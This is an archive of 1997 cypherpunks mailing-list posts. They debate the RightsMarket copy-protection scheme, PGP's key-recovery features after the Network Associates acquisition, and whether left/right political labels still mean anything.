key: http://www.rpini.com/crypto/remopini.asc        
-----------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 10:38:55 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Superdistribution development/release
In-Reply-To: <v04002712b0aba8bd0101@[204.134.5.28]>
Message-ID: <v03007800b0abc492abcc@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Here an incentive: if anyone breaks this, I'll write an article about it
and another profiling the person who does.

When you have this kind of "encryption" scheme running on untrusted
hardware to which the user has access, it's doomed to fail. Even if it's
custom hardware, it'll probably be broken, but it'll just take longer.

-Declan


At 19:27 -0500 12/3/97, Robert Hettinga wrote:
>Yet Another Watermark...
>
>Anyone wanna take bets on how long before it's broken, or at least easily
>pirated?
>
>
>Cheers,
>Bob Hettinga
>
>--- begin forwarded text
>
>
>From: "Blair Anderson" <blair@technologist.com>
>To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
>Cc: "Peter Cassidy" <pcassidy@triarche.com>, "Brad Cox" <bcox@gmu.edu>
>Date: Thu, 04 Dec 97 12:58:05 +1300
>Priority: Normal
>MIME-Version: 1.0
>Subject: Superdistribution development/release
>Sender: bounce-dcsb@ai.mit.edu
>Precedence: bulk
>Reply-To: "Blair Anderson" <blair@technologist.com>
>
>Silver Bullet for Digital Publishing Arrives TragoeS Announces General
>Availability of RigthsMarket(TM)
>
> PR Newswire - December 02, 1997 16:10
> TRGO. %ENT %MLM V%PRN P%PRN
>
>CALGARY, Dec. 2 /CNW-PRN/ - RightsMarket hits the bull's-eye business
>opportunity of the 21st century - electronic commerce through digital
>publishing on the Internet for the $71.3 billion (US) publishing
>industry (Value-Line, April 11/May 20/May 30, 1997).
>
>``RightsMarket harnesses powerful economic forces that will show people
>the money in digital document publishing on the Internet,'' stated
>Lindsay Moir, President of TragoeS Inc., during the company's news
>conference November 18th at COMDEX `97, Las Vegas. ``With RightsMarket
>suppliers of digital documents will be paid and 99% of the revenue loss
>due to piracy will be eliminated.''
>
>TragoeS has successfully implemented the Superdistribution paradigm in
>RightsMarket. Superdistribution tracks usage rather than possession and
>is recognised as the best approach to selling digital property (digital
>versions of text, data, knowledge, pictures, music, videos, etc.) on the
>Internet. Pricing of RightsMarket is $50,000 (US) plus integration,
>support fees, and annual license renewal fees.  Unique RightsMarket
>features include:
>
>Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
>digital document (financial newsletter, educational test, minutes from a
>court proceeding, sensitive health care records, etc.) goes, no matter
>how it gets there, whether it is used and then subsequently
>redistributed, etc. the document is always encrypted.  It is never left
>decrypted and exposed even while it is being viewed.
>
>Rights Marketing `back office' (RightsServer) - Allows marketers to set
>the terms and conditions of use for the digital property.  Features
>include support for the newly announced international Digital Object
>Identifier (DOI) publishing standard.
>
>Fault Tolerant Middleware (RightsConnection) - Provides a secure link to
>the `back office' from the user's desktop.  As well, there is no
>requirement to be connected full time to the Internet in order to view
>the digital document.
>
>Metering and Enforcement (RightsClient) - Provides decryption services,
>meters use, and sends usage information to the RightsServer via secure
>middleware.
>
>Acrobat(TM) Trusted Tool plug-ins - Makes Acrobat, the world's most
>popular digital publishing tool from Adobe Systems Incorporated(C),
>ready for prime time digital document economic transactions on the
>Internet. With a plug-in for the Exchange and Reader, customers can
>encrypt documents and have a trusted player for viewing content.
>
>Shane Hayes, TragoeS' Vice President, Customer Implementation will be
>presenting at The Digital Object Identifier (DOI) Technology Forum
>Wednesday, December 10, 1997 in New York City.  The DOI is an important
>emerging international standard for identification of published material
>online. It forms the foundation layer of a set of technologies that will
>enable commerce in published material on the Internet so that copyright
>is protected, content creators can be compensated for their work, and
>consumers can benefit from technology that is sophisticated, yet
>seamless and easy to use.  The International DOI Foundation (IDF), a
>non-profit organization established to administer the DOI standard, is
>looking to technology vendors to implement the necessary technology
>components and integrate them into secure electronic publishing
>solutions for the IDF's constituency: the worldwide publishing industry
>and beyond.
>
>In April 1998 in Washington, DC, TragoeS Inc. will participate in a
>three day conference sponsored by the Library of Congress, the
>Association of American Publishers (AAP), and the University of
>Virginia. The conference is titled ``Exploring the New Media - The
>Paradigm Shift in Publishing: >From Book to Bytes''.  TragoeS Vice
>President, Marketing and Sales, Fred Yee, will sit on a panel discussing
>`Solutions to Copyright Protection in Cyberspace'.
>
>TragoeS Inc., established in 1993, is a Canadian high technology company
>specializing in software products and services that support financial
>transactions.  Its product, RightsMarket is the solution for the
>protection, metering and payment of digital intellectual property.
>TragoeS is a public company reporting in Alberta and Ontario and is
>listed on the Canadian Dealing Network (CDN TRGO).
>
>The Canadian Dealing Network or other regulatory authorities have
>neither approved nor disapproved of the information contained herein.
>SOURCE:  TragoeS Inc.
>
>     /CONTACT: Lindsay Moir, President, TragoeS Inc., (403) 571-1835,
>Fax:
>(403) 571-1838, Email: moirl(at)tragoes.com, Website: www.tragoes.com,
>www.rightsmarket.com or Mr. Peter Taylor, Investor Relations, (416)
>368-0121,
>Fax: (416) 368-9175/
>     (TRGO.)
>
>
>Blair Anderson  (Blair@technologist.com)
>
>International Consultant in Electronic Commerce,
>Encryption and Electronic Rights Management
>
>   "Techno Junk and Grey Matter"  (HTTP://WWW.NOW.CO.NZ [moving servers,
>currently inactive])
>   50 Wainoni Road, Christchurch, New Zealand
>
>          phone 64 3 3894065
>          fax     64 3 3894065
>
>Member 	Digital Commerce Society of Boston
>
>---------------------------- Caught in the Net for 25 years
>----------------------------
>
>
>
>For help on using this list (especially unsubscribing), send a message to
>"dcsb-request@ai.mit.edu" with one line of text: "help".
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"... however it may deserve respect for its usefulness and antiquity,
>[predicting the end of the world] has not been found agreeable to
>experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
>The e$ Home Page: http://www.shipwright.com/
>Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 4 Dec 1997 11:35:35 +0800
To: Declan McCullagh <declan@well.com>
Subject: Unbreakable Encryption / Re: Superdistribution development/release
In-Reply-To: <v03007800b0abc492abcc@[168.161.105.216]>
Message-ID: <34862332.4D32@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> Here an incentive: if anyone breaks this, I'll write an article about it
> and another profiling the person who does.
> 
> When you have this kind of "encryption" scheme running on untrusted
> hardware to which the user has access, it's doomed to fail. Even if it's
> custom hardware, it'll probably be broken, but it'll just take longer.

  I-ay et-bay ou-yay an't-cay eak-bray is-thay essage-may.

  For a limited time (ACT NOW!) I am offering shares in my new
encryption ompany-cay that has developed an unbreakable new
pig-latin technology.
  Rumors that I acquired this technology by buying out DataETRetch
are completely unfounded.

Uth-trayOnger-May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 4 Dec 1997 06:41:04 +0800
To: cypherpunks@cyberpass.net
Subject: How long before McAfee PGP v6.0 with GAK?
Message-ID: <199712032128.VAA01388@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Someone forwarded a wired article:

>  | PGP is competing with RSA Data Security Inc.'s S/MIME (Secure
>  | Multipurpose Internet Mail Extension) to become a standard for E-mail
>  | encryption. So far, PGP appears to be winning the hearts of the IETF
>  | (Internet Engineering Task Force) because it is based upon the public
>  | Diffie-Hellman algorithm.

Whoever wrote this isn't paying attention.

S/MIMEv3 is an IETF process and also uses patent free algorithms.

> ===> http://www.wired.com/news/news/politics/story/8906.html
> 
>  | Pretty Good Privacy Not Looking So Great
>  |
>  | Legendary cypherpunk and former PGP Inc. chief technology officer Phil
>  | Zimmermann is in the uncomfortable position of having to eat his
>  | words. Following Monday's US$35 million cash acquisition of PGP by
>  | Network Associates, the man who once testified before the Senate that
>  | key recovery could "strengthen the hand of a police state" now works
>  | for a company that actively promotes it.
>  |
>  | Reaction from e-privacy activists was swift and harsh.
>  |
>  | "The users of PGP can no longer rely on the credibility of Phil
>  | Zimmermann to ensure that the product is everything that they've been
>  | promised it's been previously," said Dave Banisar, attorney for the
>  | Electronic Privacy Information Center and co-author of The Electronic
>  | Privacy Papers

pgp5.x had corporate message recovery (CMR) features in it from the
git-go.  Not quite as bad as KRAP (Key Recovery Alliance Partnership
-- the government toady scheme for companies argreeing to add GAK to
their products), but still risky stuff the way that they implemented
it.  Anyone who is interested should read:

	http://www.dcs.ex.ac.uk/~aba/cdr/

where I attempt to compare the risks of PGP Inc's method of disaster
recovery with more logical and more secure alternatives.

The folks at PGP Inc who poo-pooed the uproar caused by their CMR
exploits are now left with the thought that they have built the GAK
mechanism for a KRAP company.  The KRAP program calls for companies to
implement GAK in a two year time-frame, in exchange for this they have
the bribe of being allowed to export puny 56 bit encryption in place
of the joke 40 bit encryption.  So it may be necessary to forget PGP
Inc.  If I was PRZ I would demand that the name PGP not be used for
KRAP.

>  | Network Associates, formerly known as McAfee Associates, is an active
>  | member of the Key Recovery Alliance, an organization that lobbies
>  | Congress for key recovery that would grant law enforcement agencies
>  | back-door access to private encrypted communications.

Yup, they're government sell outs who are part of the "program"
helping government to install key recovery government master back door
keys etc.  PGP Inc's CMR looks set to be the architecture for GAK much
earlier than it's detractors predicted.  Shame on those at PGP who
invented it, and defended it.

>  | Network Associates and other companies support key recovery because
>  | it would allow them to export strong crypto software without bothering
>  | to make a separate nonrecoverable version for the domestic market. 

Not really, they are allowed to export 56 bit crypto which is still
ultra puny.  They won't be able to export 128 bit IDEA, or 128 bit
CAST, or 112 bit 3DES which is what PGP5.x uses.  So they'll either
need two versions or they'll dumb down the whole lot to 56 bits, which
is just too weak by far.

>  | But Zimmermann, a pioneer of strong encryption, has spent years
>  | crusading against key recovery, calling it an invasion of privacy. And
>  | the most recent release of PGP's encryption software allows users to
>  | disable key recovery.

Many of us were already upset with PRZ for his part in the development
of CMR, and for allowing it to happen.  It was far too politically
risky a technology to associate with the PGP name, or for someone who
cared about privacy or personal freedom to endorse.

>  | "People should give their consent to use [recovery]," Zimmermann said.
>  | When asked whether future versions of the package will retain that
>  | option, Zimmermann replied, "Certainly, as long as I have anything to
>  | say about it."

I would imagine that PRZ doesn't retain much control.

>  | "It's going to take some time to figure things out," said Zimmermann.

I hope PRZ does the right thing.

>  | "It will require a fundamental examination by human rights groups and
>  | others about whether any newer versions of PGP are truly trustworthy,"
>  | said Banisar.

pgp5.x is already tainted with the features to interoperate with
future GAKked software from NAI versions of PGP which will likely have
GAK to comply with McAfee's KRAP program.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 4 Dec 1997 11:16:26 +0800
To: "David Honig" <tcmay@got.net>
Subject: Re: Censorial leftists (Was: Interesting article)
Message-ID: <01bd005f$d59b74b0$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain



>Indeed, and in a wonderful case of schadenfreude, when the
>Dworkin-MacKinnon anti-porn law was enacted in Canada, "Lesbitan Erotica"
>bookstores and publishers were shut down. (I believe this was in Toronto,
>and it may have only been in that city or region that the law was enacted,
>not in all of Canada. Toto can clarify.)


Tim you miss the best part one of the first books to be banned
was by Dworkin.

Dworkin writes with a pseudo academic style but despite a third of
her book being 'references' very little of her argument is supported.
She deliberately quotes out of context and tries to claim feminist
icons such as Simone de Beauvoir for her cause despite the fact 
that "Mrs Jeane Paul Satre" was anti censorship.

Don't write the feminists off too quickly Tim, de Beauvoir's essay
'Must we burn de Sade' is the anti-censorship equivalent of your
cypherpunk manifesto.

MacKinnon is a more respectable flake. Her book 'Towards a 
Feminist theory of the state" starts off explaining that she is
trying to construct a Marxist theory of the state.

Even this wouldn't be quite so bad if what she was writing had
some recognisable connection to anything Marx wrote. Its more
a sort of left wing US academia game in which the object is to
shock your liberal friends.


            Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Thu, 4 Dec 1997 14:04:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Superdistribution development/release
In-Reply-To: <199712040524.AAA26313@users.invweb.net>
Message-ID: <Pine.BSF.3.96.971203215304.204C-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Dec 1997, William H. Geiger III wrote:

> For practical reason data must be in the clear in memory at some point in
> time. Also the data must be transferred into some type of peripheral so
> the user can do somthing with the data (read text off a monitor, print a
> document, listen to music, ...ect).
> 
> This is the biggest failings in these systems. Once the user has the
> ability to decrypt the data the game is lost. One does not need to break
> the crypto system as they give you the keys with the product!! 

Ut oh.  Now the government is going to protect us from the new Horseman,
copyright violators, by mandating diskless network computers that run
only government-approved software.  We can't let those awful hackers
unlawfully disassemble software for the purpose of stealing other data,
now can we?  After all, it's for the children... and this solves that
pesky strong crypto problem too.

-- 
Brian Buchanan                                      brian@smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Thu, 4 Dec 1997 14:37:20 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3486262E.C70FF40@cptech.org>
Message-ID: <3.0.3.32.19971203220823.0347ca84@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 01:01 AM 12/4/97 -0500, Declan McCullagh wrote:
>
>PRIVACY FROM GOVERNMENT: Lefty groups join libertarians and 
occasionally
>some right wing groups (Eagle Forum) here. Their battle is with 
defense/law
>enforcement and (largely) right-wing groups that are ideologically
>sympatico. This collection of right-wing groups includes police 
chiefs,
>attys general groups, and columnists like Frank "ban crypto" Gaffney 
from
>the Washington Times. We can be more precise if we break down 
"privacy from
>government" into narrower issues like wiretap, crypto, medical 
privacy,
>etc. Gets more complicated (as you note) when we're talking about 
balancing
>access to gvt info with privacy; journalist groups come down hard 
for
>access.

Well, this isn't entirely true. Some of the loudest voices in 
banning/regulating crypto come from the left:Senator Lieberman, 
Senator Feinstein,Rep. Dellums, the Clinton Administration in 
general, etc. The fear of 'bomb making information' and 'terrorist 
militia groups' is almost entirely a left-wing fear, one about as 
realistic and plausible as the 60's John Birchers fear of 'Communist 
insurrection' behind every middle-class loser youth who grew his hair 
too long or waved around (but probably never read) Mao's Little Red 
Book.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIZI1jKf8mIpTvjWEQJGLACgppADJBSjr32pEdSJ3jHyCOure78AnRew
ACdyp2md6/ZG9yWbuWiauNIt
=fR42
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 13:29:31 +0800
To: James Love <love@cptech.org>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3486262E.C70FF40@cptech.org>
Message-ID: <199712040507.AAA26160@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3486262E.C70FF40@cptech.org>, on 12/03/97 
   at 10:40 PM, James Love <love@cptech.org> said:

>Now, if one sees the burning issue of the day the fight to rid the world
>of government as we know it, maybe right left labels make sense.  By
>defining both the left and the right as groups who advocate increasing
>government control over private actions, you describe what seems most
>important to you.  I found this characterization of "leftists" as shallow
>as Declan's, however.

There is no difference between the "left" and the "right" in Amerika
politics other than which tit on the federal sow they wish to suck on and
which "buzz" words they use in their FUD campaigns to hurd the sheeple in
support of their cause celebre.

The one unifying principle of these "leaders" is the acquisition of power
and the using of the Federal Government to get it. It doesn't matter if
it's a Tree Hugging Communist like Ralf Naider or a Religious Nut like Pat
Robertson. Their agendas are the same, their modus operandi are the same,
and their results are the same: They get more power, the feds get more
power, and the "people" get fucked once again.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIY6VY9Co1n+aLhhAQI+0QQAnTzvENP9MvRSa3x1OZ3tFmlUeSO7VQtB
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cveCoBtL/EsaEI9wwuUYMMf7kkodhkaVdksILq8xF+Twgl541J8sXWoFMk4Jt6gc
ZzZexYD/R50=
=b0oD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 4 Dec 1997 15:44:14 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: About the way of regulating Japanese encryption export
In-Reply-To: <19971204035452.2105.qmail@hotmail.com>
Message-ID: <3.0.3.32.19971203223728.00695c48@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 07:54 PM 12/3/97 PST, Nobuki Nakatuji wrote:
>Permission shouldn't be necessary. ( For example, in such cases as 
>the dealings of providing the technology of the public wisdom. )
>And, if corresponding is considered, Export permission isn't needed. 

What the heck is "providing the technology of the public wisdom"?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNIZPpsJF0kXqpw3MEQKK9wCfQQWm0nd7/jpmfDagAFEyLEh86uEAoJQX
eZdBv5OZ6Xoa/WR9jETrlNd3
=z419
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Thu, 4 Dec 1997 07:06:42 +0800
To: mail2news@basement.replay.com
Subject: Re: *** PGP HAS A BACKDOOR - by Phil Zimmerman
In-Reply-To: <6441635046.162107260@news.stray.cat.edu>
Message-ID: <19971203224005.20152.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@REPLAY.COM> wrote:

> > PGP 5.5 for Business Security can be configured to use escrow keys. It
> > isn't automatic, you have to explicitly enable this. I am pretty sure,
> > but not positive, that once enabled, the user is warned that that an
> > escrow key is being used.
> 
> Okay, we lived with Viacrypt and PGP 4.5 before.
> Let's talk about reasons to include those pieces of suspicious code
> in the 5.0 -version for _personal privacy_.
> Activated or not, the idea alone is a bad thing and smells like betrayal.
> 
> Why has it been done? Certainly it is not a big problem to compile a version  
> 5.0 with an activated key escrow-function? Is PGP Inc. waiting for the
> law to catch up?
> We should observe closely in the future and look out for the little
> "enhancements" which will make PGP Inc. keep their market shares:

Actually, I'm told the reason for those code hooks is so that commercial
users can do INTERNAL key "escrowing", so that if a vital individual dies
or quits and refuses to turn over his key to his successor, his employer can
recover the key and access encrypted data that would otherwise remain
inaccessible.  If the employer is paying him to produce something, then the
end result is the property of the employer and should not be lost if the
employee dies or becomes disgruntled, quits, and refuses to turn over the
key (or claims he "forgot" his passphrase) to his employer.  OTOH, an
employee should be allowed to properly revoke his key upon quitting and
distribute the revocation certificate.  (The employer may be wise to
REQUIRE that.)

I really have no problem with that as long as its use remains VOLUNTARY
at the user's discretion.  Needless to say, an employee in a situation like
that should use one key for work-related purposes and a separate,
non-escrowed one for his personal use.

Although anything is possible, I doubt that the government would use this
as a means of implementing MANDATORY key escrowing.  The powers-that-be at
the NSA seem to have real fits with software encryption to start with, and
something that's available in source code and thus modifiable would give
them nightmares.  I'd expect anything they eventually approve/mandate to
be merely a software interface to a tamper-resistant encryption engine in
firmware (complete with embedded key[s]).

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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5OoBw8MraGZd6ARmQSIoveqcEBWTvggwwg9hGUy1/Eh4JDNy2ZfWj+WLgRILG0Hj
kV6Uzrlm56oPKdDW4927jwelQcFdj76UDbQSfeVVWXM6hpJtEpxayDdB9vXCWRZ5
eOVf2FA5Lu6LM23zqQ3+gpA1+XTFK4ENCWO+MSDk3OU20Pk7l5SAZ89bfuI7887a
yai8KKwHnHmE18Y5DYOrKoP6aDbjgS0207R5Z5khKsv3BLqJ4zKdPQ==
=BnQo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 4 Dec 1997 11:54:26 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <3486262E.C70FF40@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Lizard,

Don't get me wrong.  I think the right left dichotomy does continues to
have meaning in some contexts, and when appropriate, it would make sense
to describe me as left (certainly by some contemporary standards).   I
just don't think of this is the only way to think about what is going on
today, and for many issues that I work on day to day, it predicts next
to nothing, in terms of who supports what.  Here are some examples.  I
have been working on a very wide range of issues relating to
intellectual property, since 1990.  I don't really see most of the
alliances on those issues well defined by a right left dichotomy.  I
work on a number of privacy issues too.  And I don't think anyone could
describe the alliances on privacy issues as having much to do with a
right left dichotomy.  Freedom of Information and right to know issues
(Ralph Nader was the single most important actor in getting the modern
FOIA laws) have a very broad constituency.  Access to government
information over the Internet?  The pro-access coalition is very broad. 
I work on issues relating to pricing of digital telephone services (ISDN
and various unbundling issues relating to xDSL pricing).  Except for a
handful of zero government true believers, this doesn't end up being a
left right issue either.  Should cable be permitted to control DBS
spectrum?  Not a right left issue.  Should South Africa be permitted to
import pharmacuetical drugs (parallel imports)?  There are big
commerical interests lobbying on this, but I don't think of the
fundemental issues as right left.  I'm certainly on the side of the CATO
institute on this one.  Is Microsoft engaged in anticompetitive
practices?  A hot topic, certainly, but the persons who are concerned
with Microsoft are a pretty broad coalition, in terms of traditional
ideological labels.

Now, if one sees the burning issue of the day the fight to rid the world
of government as we know it, maybe right left labels make sense.  By
defining both the left and the right as groups who advocate increasing
government control over private actions, you describe what seems most
important to you.  I found this characterization of "leftists" as
shallow as Declan's, however.

    Jamie


Lizard wrote:
> When the leftists try to avoid being called 'leftists', you know it's
> all over but the mopping up.
> 
> But, nonetheless, let me try:
> "A leftist is someone who advocates increasing government control
> over private actions, especially in the name of such mummeries as
> 'equality' and 'fairness'. Contrast to a rightist, who advocates
> increasing government control over private action in the name of
> 'decency' and 'values'."

-- 
James Love
Consumer Project on Technology
P.O. Box 19367, Washington, DC 20036
voice 202.387.8030; fax 202.234.5176
http://www.cptech.org  |  love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 4 Dec 1997 15:16:21 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <3485F5DD.459EB83C@cptech.org>
Message-ID: <19971203225059.40910@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Dec 03, 1997 at 06:10:32PM -0700, Jim Burnes wrote:
[...]
> 
> Multidimensional political beliefs systems don't hash into the
> one dimensional left/right axis very well.   The collision
> rate is too high.
> 
> For a somewhat better map at least check out the Nolan chart.
> 
> http://www.self-gov.org/lp-quiz.shtml
> 
> enjoy
> 
> jim

Interesting.  I was absolutely dead center.

Centrist 

Centrists favor selective government intervention and emphasize 
practical solutions to current problems. They
tend to keep an open mind on new issues. Many centrists feel that 
government serves as a check on excessive
liberty. 

Your Personal Self-Government Score is 50%. 
Your Economic Self-Government Score is 50%. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 13:29:07 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Superdistribution development/release
In-Reply-To: <3.0.3.32.19971203195235.006e7318@popd.netcruiser>
Message-ID: <199712040524.AAA26313@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971203195235.006e7318@popd.netcruiser>, on 12/03/97 
   at 07:52 PM, Jonathan Wienke <JonWienk@ix.netcom.com> said:


>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1

>At 07:27 PM 12/3/97 -0500, Robert Hettinga wrote:
>>Yet Another Watermark...

>[snip]

>>From: "Blair Anderson" <blair@technologist.com>

>[snip]

>>Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
>>digital document (financial newsletter, educational test, minutes from a
>>court proceeding, sensitive health care records, etc.) goes, no matter
>>how it gets there, whether it is used and then subsequently
>>redistributed, etc. the document is always encrypted.  It is never left
>>decrypted and exposed even while it is being viewed.

>[snip]

>>Metering and Enforcement (RightsClient) - Provides decryption services,
>>meters use, and sends usage information to the RightsServer via secure
>>middleware.

>"It is never left decrypted and exposed" but the software "Provides
>decryption services."  Doesn't this sound oxymoronic?  These guys need
>help.

I think the point they were trying to make was the data is not left in the
clear on the storage media (this is typical marketing droids at work). 

For practical reason data must be in the clear in memory at some point in
time. Also the data must be transferred into some type of peripheral so
the user can do somthing with the data (read text off a monitor, print a
document, listen to music, ...ect).

This is the biggest failings in these systems. Once the user has the
ability to decrypt the data the game is lost. One does not need to break
the crypto system as they give you the keys with the product!! 

Will this prevent John doe from giving a copy of the document to a
friend?? Nope as he will just give the friend the passphrase (or what ever
mechanism they use) along with the copy.

Will this prevent the Warez groups?? It may slow them down some but it
woun't get rid of them.

Will it stop commercial pirating?? HAH!! It will not even slow it down, a
minor inconvenience at best.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 4 Dec 1997 15:52:28 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199712040732.XAA14714@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



www.borders.com: "Borders is opening new stores almost
every week. If there's not one near you now, there will
be soon."

This is depressing. Something has to be done about
"free"-market capitalism. It is as destructive as
government, and built on the same lies.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 4 Dec 1997 13:03:33 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <db1bd01bb7517e8adabd541abe78f51b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



AMEN.


> >so far to the left comes out a libertarian rightist. No, this chick Dworkin
> >is so far left she's just plain _left_. She argues that porn for womyn (or
> >is it wimmin?) is fine and dandy, because this represents lesbian
> >sisterhood exploring their own blah blah blah, but porn aimed and directed
> 
> 
> 
> What you watch is pornography;
> What I watch is erotica.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 14:43:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re:
In-Reply-To: <2cbffee5893cc0ab108d748c922ffe2d@anon.efga.org>
Message-ID: <199712040637.BAA27017@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <2cbffee5893cc0ab108d748c922ffe2d@anon.efga.org>, on 12/04/97 
   at 12:42 AM, Anonymous <anon@anon.efga.org> said:


>Unless there was decryption hardware in the monitor itself.

>Then I suppose you'd have to video the screen as each new "always
>encrypted" "totally secure" frame came up. 

Naw picture quality will go all to hell. Better to tap in between the
decryption hardware and the feed to the picture tube. A couple of days on
the workbench and you should be able to pull the data at your leasure.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a-sha1
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RV6tllzAzrNL/yMIFLj36XXX3Ka4WiyiWwVJkhrKxALpz96lC95syNZgix8hfU1d
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 4 Dec 1997 13:45:42 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <2cbffee5893cc0ab108d748c922ffe2d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Unless there was decryption hardware in the monitor itself.

Then I suppose you'd have to video the screen as each new "always
encrypted" "totally secure" frame came up. 



> 
> On Wed, 3 Dec 1997, Robert Hettinga wrote:
> > 
> > Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
